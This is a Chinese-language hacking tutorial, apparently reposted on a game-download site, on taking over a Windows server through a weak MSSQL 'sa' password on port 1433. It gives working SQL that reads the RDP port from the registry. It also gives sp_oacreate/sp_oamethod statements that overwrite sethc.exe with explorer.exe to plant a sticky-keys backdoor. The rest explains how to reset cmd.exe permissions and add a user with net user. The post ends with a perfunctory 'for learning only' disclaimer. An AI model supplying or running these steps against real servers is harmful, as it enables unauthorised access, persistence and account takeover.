千机游戏提供最新游戏下载和手游攻略!

弱密码利用 shift 巧妙提升权限后门是南门还是北门

发布时间:2024-07-02浏览:0

这是我第三次发1433弱密码的教程了,前两篇教程也详细讲解了如何利用1433修复和提权,今天依然给大家带来一种利用1433弱密码提权的方法,说是高明,其实很多高手都已经用过了,本篇教程针对的是刚开始学习利用1433弱密码提权的新手,高手请忽略。

使用弱密码连接主机

随便运行一个dos命令,会看到错误信息:Error Message: xpsql.cpp: Error 5 from CreateProcess (line 737)。上一篇教程中的服务器也出现过这个错误,我们通过找到服务器上的网站,用分隔符先转小马,再转大马,绕过错误获取webshel​​l。

这期我们就来说说这个错误产生的原因以及巧妙的修复方法,其实也可以说是绕过并提升权限的一种方法。

错误5是系统错误代码,CreateProcess表示创建线程,这个错误和系统文件cmd.exe关系密切,一种情况是cmd被删除,一种情况是cmd的权限被降低。(如果我的表述有什么不对的地方,请大家指出,这是我的理解)。

进入windows\system32目录和sql安装目录查看是否有需要的文件

cmd.exe 存在

odsole70.dll是存在的,为什么需要检查这个文件是否存在呢?因为我们后面要用到的存储过程需要用到这个文件。

我们先检查一下终端端口及其开放状态

SQL 命令输入

exec master..xp_regread'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

返回成功,终端端口为78

打开3389连接命令mstsc connect IP:78,出现登录界面,证明78端口是对外开放的。

OK,现在到了关键部分,将系统的explorer文件复制到系统的shift后门文件需要两条SQL指令,下面两条语句是分开执行的,不能一起执行,我是在SQL Tools 2.0工具中执行的,你也可以在分隔符中执行,记得分开执行。

//该语句将explorer.exe复制到sethc.exe

声明@o int exec sp_oacreate'scripting.filesystemobject',@o out exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

shift后门_后门饰条_后门是南门还是北门

//该语句将 sethc.exe 复制到 dllcache 目录

声明@oo int exec sp_oacreate 'scripting.filesystemobject',@oo out exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';

这两条语句执行的时间间隔不要超过10秒,否则系统会自动恢复原文件。

另外这两条语句用到的sp_oacreate存储过程需要使用odsole70.dll文件,因此该文件的存在关系到创建的成功。

[下一页]

玩过shift后门的同学一眼就能看出来这是最老套的创建shift后门的方法了,我猜看完这篇教程你们一半人都会关网页了,那就继续和剩下一半菜鸟交流吧,离开的都是高手^_^

这部分我就不截图了,直接看返回的信息就行

复制完之后我们连接3389运行shift后门试试

五次轮班结束后,界面上弹出资源管理器。

在windows\system32目录下找到cmd.exe,双击运行。

它说它没有适当的权限来运行它。右键单击 cmd.exe,转到“属性”,然后查看“安全”选项卡

会看到所有系统权限都被拒绝了,选择允许完全控制,点击应用,更改cmd的运行权限,然后双击cmd运行,接下来使用net user等命令添加用户权限。

这时候我提醒大家,如果你再运行一下sql tools里的dos命令,会发现可以正常运行,也就是说Error Message: xpsql.cpp: Error 5 from CreateProcess (line 737)这个错误是由于cmd的权限问题导致的,以后大家再遇到这样的问题就知道该怎么处理了。

OK,用刚刚添加的用户登录服务器,注意终端端口。

上篇教程有人问我服务器上没有网站怎么办。其实提权的方法有很多种,有时候单一的方法无法成功提权,可以考虑多种方法结合。好了,针对连续三期弱密码1433的提权方法我就介绍这么多了,等我学到更多的方法后再分享给大家。感谢大家耐心看完本篇教程。本教程仅供学习交流,请勿用于非法用途。

你会喜欢

热点资讯